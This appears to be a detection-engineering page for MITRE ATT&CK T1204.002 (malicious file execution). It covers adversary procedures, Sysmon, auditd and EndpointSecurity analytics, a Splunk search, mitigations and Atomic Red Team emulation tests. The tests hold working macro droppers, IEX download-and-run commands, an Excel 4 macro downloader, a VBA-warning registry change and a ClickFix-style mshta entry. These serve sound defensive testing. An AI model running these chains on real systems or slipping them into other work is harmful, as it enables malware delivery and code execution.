An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.[1]
86 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has delivered malicious payloads that initiate through user execution to include interaction with a masqueraded file.12 VOID MANTICORE has used trojanized application lures to induce targets into executing malware enabling persistent surveillance.3
Has lured victims into opening crafted Word, Excel, and SFX files for execution.1234
Has distributed malicious files requiring direct victim interaction to execute through the guise of a code test.12
Has prompted users to execute downloaded software and payloads as the result of social engineering activity.123
Relied on users interacting with malicious files, such as a trojanized PuTTY installer, for initial execution.1
All 86 groups for this technique · 6 newest in this preview
12 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Mustang Panda distributed malicious LNK objects for user execution during RedDelta Modified PlugX Infection Chain Operations.1
Delivered Pikabot installers as password-protected ZIP files containing heavily obfuscated JavaScript, or IMG files containing an LNK mimicking a Word document and a malicious DLL.1
During C0011, Transparent Tribe relied on a student target to open a malicious document delivered via email.1
During C0015, the threat actors relied on users to enable macros within a malicious Microsoft Word document.1
During Operation Spalax, the threat actors relied on a victim to open a PDF document and click on an embedded malicious link to download malware.1
During Operation Dream Job, Lazarus Group lured victims into executing malicious documents that contained "dream job" descriptions from defense, aerospace, and other sectors.12
All 12 campaigns for this technique · 6 newest in this preview
98 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has used a Word document with a malicious Visual Basic for Applications (VBA) macro; when enabled, the CertificationKit.ini payload is constructed and executed.1
Has been executed through victim interaction with malicious email attachments made to look like legitimate AI applications or documents.1
Has been executed through victims downloading and opening malicious RAR archive files.1
During Operation AkaiRyū, MirrorFace used malicious files to drop ROAMINGHOUSE.1
Has been executed via victims opening malicious email attachments.123
Has been executed through lures involving malicious JavaScript projects or trojanized remote conferencing software such as MicroTalk or FreeConference.12 BeaverTail has also been executed through macOS and Windows installers disguised as chat applications.34
All 98 software entries for this technique · 6 newest in this preview
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
AN0819 · Windows
User opens a file delivered by email, web, chat, or share. The handler application (Word/PDF reader/archiver) creates a file in user-controlled paths (Downloads, Temp, Desktop) and then spawns a new or unusual child process (e.g., powershell.exe, wscript.exe, cmd.exe, regsvr32.exe, rundll32.exe, msiexec.exe). Optional precursors include FileStreamCreated (URL/UNC) and Office → system32 batch writes.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| File CreationDC0039 | WinEventLog:Sysmon | EventCode=11 |
| File MetadataDC0059 | WinEventLog:Sysmon | EventCode=15 |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TimeWindow | Seconds/minutes to correlate file write to child spawn (e.g., 0–5m). |
| SuspiciousExtensions | Extensions and double-extension patterns to flag (exe,scr,lnk,pif,cpl,js,vbs,bat,cmd,ps1,hta,iso,lnk->cmd,docm,xlsm,pdf->exe, etc.). |
| UserPaths | Paths considered user-controlled (Downloads, Temp, Desktop, profile AppData staging). |
| ParentApps | List of user-facing apps that commonly open attachments for your org (reduce FPs or add weight). |
| SignerAllowList | Trusted code signers/publishers to suppress benign admin tools. |
AN0820 · macOS
User opens a downloaded document/installer leading to EndpointSecurity file create in ~/Downloads or ~/Library paths then an exec of a suspicious utility (osascript, bash/zsh, curl, chmod, open with -a Terminal). Correlates File Creation with subsequent process exec and, optionally, quarantine/LSQuarantine events.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:unifiedlog | process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder} |
| File CreationDC0039 | macos:endpointsecurity | ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TimeWindow | Correlation window between file create and exec (e.g., ≤10m). |
| QuarantineRequired | Require com.apple.quarantine attribute present on the file for higher fidelity. |
| ParentApps | Approved document viewers/editors to anchor lineage. |
AN0821 · Linux
User or desktop application writes a new file to ~/Downloads, /tmp, or mounted removable media followed by execve of a risky interpreter/loader (bash, sh, python, perl, php, node, curl|wget piping to sh, ld.so, rdesktop, xdg-open - with unusual args). Uses auditd PATH+SYSCALL (open/creat/write/rename) with execve event linking.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | auditd:SYSCALL | execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser |
| File CreationDC0039 | auditd:SYSCALL | open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TimeWindow | Correlation window for audit events (e.g., ≤5m). |
| DesktopParentMap | Map common desktop apps (libreoffice, evince, firefox, chromium) for lineage anchoring. |
While batch files are not inherently malicious, it is uncommon to see them created after OS installation, especially in the Windows directory. This analytic looks for the suspicious activity of a batch file being created within the C:\Windows\System32 directory tree. There will be only occasional false positives due to administrator actions.
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PSA | Process Spawn Analysis |
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| file | create | extension |
| file | create | file_path |
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
Pseudocode implementation of the Splunk search below
files = search File:create batch_files = filter files where ( extension =".bat" AND file_path = "C:\Windows\system32*" ) output batch_files
You must be ingesting data that records the file-system activity from your hosts to populate the Endpoint file-system data-model node. If you are using Sysmon, you will need a Splunk Universal Forwarder on each endpoint from which you want to collect data.
| tstats count min(_time) as firstTime max(_time) as lastTime values(Filesystem.dest) as dest values(Filesystem.file_name) as file_name values(Filesystem.user) as user from datamodel=Endpoint.Filesystem by Filesystem.file_path | rex field=file_name "(?<file_extension>\.[^\.]+)$" | search file_path=*system32* AND file_extension=.bat
CAR’s own validation procedures for this analytic.
Replay the detection [dataset](https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1204.002/batch_file_in_system32/windows-sysmon.log) using the Splunk attack range with the commands below
["python attack_range.py replay -dn data_dump [--dump NAME_OF_DUMP]"]
execute the atomic test [T1204.002](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1204.002) against a Windows target.
["Invoke-AtomicTest T1204.002"]
On Windows 10, various Attack Surface Reduction (ASR) rules can be enabled to prevent the execution of potentially malicious executable files (such as those that have been downloaded and executed by Office applications/scripting interpreters/email clients or that do not meet specific prevalence, age, or trusted list criteria). Note: cloud-delivered protection must be enabled for certain rules.
Application control may be able to prevent the running of executables masquerading as other files.
Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | OSTap Style Macro Execution | windows | PowerShell | — | 1 | Yes | ||||||||||||||||||||||||||
This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe. Execution is handled by Invoke-MalDoc to load and execute VBA code into Excel or Word documents. This is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns. References: https://www.computerweekly.com/news/252470091/TrickBot-Trojan-switches-to-stealthy-Ostap-downloader Input arguments
Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n Shell`$ `"cscript.exe #{jse_path}`"`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
Cleanup command Remove-Item #{jse_path} -ErrorAction Ignore
Prerequisite Microsoft #{ms_product} must be installed Check try {
New-Object -COMObject "#{ms_product}.Application" | Out-Null
$process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
Stop-Process -Name $process
exit 0
} catch { exit 1 }
Satisfy Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
GUIDf8359b6e-ab7d-4b3b-974b-04e1950e282d | ||||||||||||||||||||||||||||||||
| 02 | OSTap Payload Download | windows | cmd | — | — | Yes | ||||||||||||||||||||||||||
Uses cscript //E:jscript to download a file Input arguments
Attack command echo var url = "#{file_url}", fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject('MSXML2.ServerXMLHTTP'); request.open('GET', url, false); request.send(); if (request.status === 200) {stream = WScript.CreateObject('ADODB.Stream'); stream.Open(); stream.Type = 1; stream.Write(request.responseBody); stream.Position = 0; stream.SaveToFile('ostapout.txt', 1); stream.Close();} else {WScript.Quit(1);}WScript.Quit(0); > #{script_file}
cscript //E:Jscript #{script_file}
Cleanup command del #{script_file} /F /Q >nul 2>&1
GUIDed4def2d-adba-4589-b5ad-d35db46300b7 | ||||||||||||||||||||||||||||||||
| 03 | Maldoc choice flags command execution | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||||||
This Test uses a VBA macro to execute cmd with flags observed in recent maldoc and 2nd stage downloaders. Upon execution, CMD will be launched. Execution is handled by Invoke-MalDoc to load and execute VBA code into Excel or Word documents. Input arguments
Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " a = Shell(`"cmd.exe /c choice /C Y /N /D Y /T 3`", vbNormalFocus)"
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
Prerequisite Microsoft #{ms_product} must be installed Check try {
New-Object -COMObject "#{ms_product}.Application" | Out-Null
$process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
Stop-Process -Name $process
exit 0
} catch { exit 1 }
Satisfy Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
GUIDca3c24eb-9ef4-4829-9c09-1026ed1e5d39 | ||||||||||||||||||||||||||||||||
| 04 | OSTAP JS version | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||||||
Malicious JavaScript executing CMD which spawns wscript.exe //e:jscript Execution is handled by Invoke-MalDoc to load and execute VBA code into Excel or Word documents. Input arguments
Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n a = Shell(`"cmd.exe /c wscript.exe //E:jscript #{jse_path}`", vbNormalFocus)`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
Prerequisite Microsoft #{ms_product} must be installed Check try {
New-Object -COMObject "#{ms_product}.Application" | Out-Null
$process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
Stop-Process -Name $process
exit 0
} catch { exit 1 }
Satisfy Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
GUID2f176c05-2cdc-4473-b4ee-33f766b31167 | ||||||||||||||||||||||||||||||||
| 05 | Office launching .bat file from AppData | windows | PowerShell | — | 1 | Yes | ||||||||||||||||||||||||||
Microsoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened. Input arguments
Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " Open `"#{bat_path}`" For Output As #1`n Write #1, `"calc.exe`"`n Close #1`n a = Shell(`"cmd.exe /c #{bat_path} `", vbNormalFocus)`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct #{ms_product}
Cleanup command Remove-Item #{bat_path} -ErrorAction Ignore
Get-Process | Where-Object { $_.MainModule.FileName -like "*calculator*" } | Stop-Process
Prerequisite Microsoft #{ms_product} must be installed Check try {
New-Object -COMObject "#{ms_product}.Application" | Out-Null
$process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
Stop-Process -Name $process
exit 0
} catch { exit 1 }
Satisfy Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
GUID09cc2391-9588-4b6f-80b3-414c02c3a089 | ||||||||||||||||||||||||||||||||
| 06 | Excel 4 Macro | windows | PowerShell | — | 1 | Yes | ||||||||||||||||||||||||||
This module creates an Excel 4 Macro (XLM) enabled spreadsheet and executes it. The XLM will first write a "malicious" VBS file to %TEMP%, then execute this file. The VBS will download Process Explorer to the same directory (%TEMP%) and exec. A note regarding this module. By default, this module will pull the current username from the system and places it into the macro. If you'd like to utilize the "=GET.WORKSPACE(26)" method, that many maldoc authors use, you will need to ensure that the User Name associated with Excel matches that of the local system. This username can be found under Files -> Options -> Username Input arguments
Attack command $fname = "$env:TEMP\atomic_redteam_x4m_exec.vbs"
$fname1 = "$env:TEMP\procexp.exe"
if (Test-Path $fname) {
Remove-Item $fname
Remove-Item $fname1
}
$xlApp = New-Object -COMObject "Excel.Application"
$xlApp.Visible = $True
$xlApp.DisplayAlerts = $False
$xlBook = $xlApp.Workbooks.Add()
$sheet = $xlBook.Excel4MacroSheets.Add()
if ("#{uname}" -ne "") {
$sheet.Cells.Item(1,1) = "#{uname}"
} else {
$sheet.Cells.Item(1,1) = "=GET.WORKSPACE(26)"
}
$sheet.Cells.Item(2,1) = "procexp.exe"
$sheet.Cells.Item(3,1) = "atomic_redteam_x4m_exec.vbs"
$sheet.Cells.Item(4,1) = "=IF(ISNUMBER(SEARCH(`"64`",GET.WORKSPACE(1))), GOTO(A5),)"
$sheet.Cells.Item(5,1) = "=FOPEN(`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`", 3)"
$sheet.Cells.Item(6,1) = "=FWRITELN(A5, `"url = `"`"#{download_url}`"`"`")"
$sheet.Cells.Item(7,1) = "=FWRITELN(A5, `"`")"
$sheet.Cells.Item(8,1) = "=FWRITELN(A5, `"Set winHttp = CreateObject(`"`"WinHTTP.WinHTTPrequest.5.1`"`")`")"
$sheet.Cells.Item(9,1) = "=FWRITELN(A5, `"winHttp.Open `"`"GET`"`", url, False`")"
$sheet.Cells.Item(10,1) = "=FWRITELN(A5, `"winHttp.Send`")"
$sheet.Cells.Item(11,1) = "=FWRITELN(A5, `"If winHttp.Status = 200 Then`")"
$sheet.Cells.Item(12,1) = "=FWRITELN(A5, `"Set oStream = CreateObject(`"`"ADODB.Stream`"`")`")"
$sheet.Cells.Item(13,1) = "=FWRITELN(A5, `"oStream.Open`")"
$sheet.Cells.Item(14,1) = "=FWRITELN(A5, `"oStream.Type = 1`")"
$sheet.Cells.Item(15,1) = "=FWRITELN(A5, `"oStream.Write winHttp.responseBody`")"
$sheet.Cells.Item(16,1) = "=FWRITELN(A5, `"oStream.SaveToFile `"`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`"`", 2`")"
$sheet.Cells.Item(17,1) = "=FWRITELN(A5, `"oStream.Close`")"
$sheet.Cells.Item(18,1) = "=FWRITELN(A5, `"End If`")"
$sheet.Cells.Item(19,1) = "=FCLOSE(A5)"
$sheet.Cells.Item(20,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`")"
$sheet.Cells.Item(21,1) = "=WAIT(NOW()+`"00:00:05`")"
$sheet.Cells.Item(22,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`")"
$sheet.Cells.Item(23,1) = "=HALT()"
$sheet.Cells.Item(1,1).Name = "runme"
$xlApp.Run("runme")
$xlApp.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlBook) | Out-Null
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlApp) | Out-Null
[System.GC]::Collect()
[System.GC]::WaitForPendingFinalizers()
Remove-Variable xlBook
Remove-Variable xlApp
Cleanup command Stop-Process -Name "procexp*" -ErrorAction Ignore Remove-Item "$env:TEMP\atomic_redteam_x4m_exec.vbs" -ErrorAction Ignore Remove-Item "$env:TEMP\procexp.exe" -ErrorAction Ignore Prerequisite Microsoft Excel must be installed Check try {
New-Object -COMObject "Excel.Application" | Out-Null
Stop-Process -Name "Excel"
exit 0
} catch { exit 1 }
Satisfy Write-Host "You will need to install Microsoft Excel manually to meet this requirement" GUID30ac8d2a-aca1-4ad3-9415-d929f6cd0061 | ||||||||||||||||||||||||||||||||
| 07 | Headless Chrome code execution via VBA | windows | PowerShell | — | 2 | Yes | ||||||||||||||||||||||||||
This module uses Google Chrome combined with ScriptControl to achieve code execution. It spawns a local webserver hosting our malicious payload. Headless Google Chrome will then reach out to this webserver and pull down the script and execute it. By default the payload will execute calc.exe on the system. Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1204.002\src\chromeexec-macrocode.txt" -officeProduct "Word" -sub "ExecChrome" Cleanup command Stop-Process -name mshta Prerequisite Microsoft Word must be installed Check try {
$wdApp = New-Object -COMObject "Word.Application"
Stop-Process -Name "winword"
exit 0 } catch { exit 1 }
Satisfy Write-Host "You will need to install Microsoft Word manually to meet this requirement" Prerequisite Google Chrome must be installed Check try {
$chromeInstalled = (Get-Item (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe').'(Default)').VersionInfo.FileName
exit 0
} catch { exit 1 }
Satisfy Write-Host "You will need to install Google Chrome manually to meet this requirement" GUID24a55272-d4bc-4d4b-a87f-d628060040be | ||||||||||||||||||||||||||||||||
| 08 | Potentially Unwanted Applications (PUA) | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||||||
The Potentially Unwanted Applications (PUA) protection feature in antivirus software can identify and block PUAs from downloading and installing on endpoints in your network. These applications are not considered viruses, malware, or other types of threats, but might perform actions on endpoints that adversely affect their performance or use. This file is similar to EICAR test virus file, but is considered a Potentially Unwanted Application (PUA) instead of a VIRUS (i.e. not actually malicious, but is flagged as it to verify anti-pua protection). Input arguments
Attack command Invoke-WebRequest #{pua_url} -OutFile #{pua_file}
& "#{pua_file}"
Cleanup command Stop-Process -name PotentiallyUnwanted
Remove-Item #{pua_file} -ErrorAction Ignore
GUID56ad9328-85c3-4607-9c71-9d2f8b1a7d60 | ||||||||||||||||||||||||||||||||
| 09 | Office Generic Payload Download | windows | PowerShell | — | 2 | Yes | ||||||||||||||||||||||||||
This Test uses a VBA macro to launch Powershell which will download a file from a user defined web server. Required input agruments are c2_domain and file_name Execution is handled by Invoke-MalDoc to load and execute VBA code into Excel or Word documents. Example for c2 server located at 127.0.0.1 for the file test.txt which is nested below the parent directory in the tests/my-test folder Example input args for file in root directory c2-domain = 127.0.0.1, file-name = test.txt Input arguments
Attack command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macroCode = Get-Content "#{macro_path}" -Raw
$URL = "#{c2_domain}" + "/" + "#{c2_parent_directory}"
$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', "#{file_name}"
Invoke-MalDoc -macroCode $macroCode -officeProduct "#{ms_product}"
Cleanup command Remove-Item "C:\Users\$env:username\Desktop\#{file_name}" -ErrorAction Ignore
Prerequisite Destination c2_domain name or IP address must be set to a running HTTP server. Check if (#{c2_domain}) (exit 0) else (exit 1)
Satisfy Write-Host "Destination c2 server domain name or IP address must be set and reachable for HTTP service" Prerequisite Microsoftt #{ms_product} must be installed Check try {
New-Object -COMObject "#{ms_product}.Application" | Out-Null
$process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
Stop-Process -Name $process
exit 0
} catch { exit 1 }
Satisfy Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
GUID45329215-82d1-43c4-8f7f-daafbc75c14d | ||||||||||||||||||||||||||||||||
| 10 | LNK Payload Download | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||||||
This lnk files invokes powershell to download putty from the internet and opens the file. https://twitter.com/ankit_anubhav/status/1518932941090410496 Attack command Invoke-WebRequest -OutFile $env:Temp\test10.lnk "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk" $file1 = "$env:Temp\test10.lnk" Start-Process $file1 Start-Sleep -s 10 taskkill /IM a.exe /F Cleanup command $file1 = "$env:Temp\test10.lnk" $file2 = "$env:Temp\a.exe" Remove-Item $file1 -ErrorAction Ignore Remove-Item $file2 -ErrorAction Ignore GUID5ddf458d-7421-4916-bb6f-696328acbe28 | ||||||||||||||||||||||||||||||||
| 11 | Mirror Blast Emulation | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||||||
Emulates the JS -> MSI chain of the MirrorBlast T505 campaign by executing an xlsm file designed. Requires the 32 bit version of Office to run. MirrorBlast Campaign Analysis Attack command Cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs" New-ItemProperty -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Excel\Security -Name "VBAWarnings" -Value "1" -PropertyType DWORD -Force | Out-Null & '.\Excel 2016.lnk' "PathToAtomicsFolder\T1204.002\bin\mirrorblast_emulation.xlsm" Cleanup command reg delete "HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security" /v "VBAWarnings" /f GUIDbbcb819a-42db-4179-a882-fd24655e3a55 | ||||||||||||||||||||||||||||||||
| 12 | ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||||||
Simulates a ClickFix-style campaign by adding a malicious entry to the RunMRU registry key that launches Attack command Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "atomictest" -Value '"C:\Windows\System32\mshta.exe" http://localhost/hello6.hta' Cleanup command Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "atomictest" -ErrorAction SilentlyContinue GUID70c56fc3-bd65-401c-ab91-574aacaeb3a0 | ||||||||||||||||||||||||||||||||
| 13 | Simulate Click-Fix via Downloaded BAT File | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||||||
Simulates user execution of a BAT file downloaded from the Atomic Red Team GitHub repository.This test represents T1204.002 - User Execution via Malicious File.The BAT file performs harmless terminal output to simulate a "fix" operation. Input arguments
Attack command $url = "#{url}"
$outfile = "#{outfile}"
Invoke-WebRequest -Uri $url -OutFile $outfile -UseBasicParsing
$process = Start-Process -FilePath $outfile -PassThru -WindowStyle Normal
$process.Id | Out-File "$env:TEMP\click-fix-pid.txt"
Cleanup command if (Test-Path "$env:TEMP\click-fix-pid.txt") {
$pid = Get-Content "$env:TEMP\click-fix-pid.txt"
Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue
Remove-Item "$env:TEMP\click-fix-pid.txt" -ErrorAction SilentlyContinue
}
Remove-Item "#{outfile}" -ErrorAction SilentlyContinue
GUID957aaa9a-2eb6-47bf-8747-dc48193f0b62 | ||||||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition
66 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.
Loading detections...
| Select | Title | Description | Category | Status | Event | Product | MITRE ATT&CK | CVEs | Severity | Author | Created | Updated | ID | Refs |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|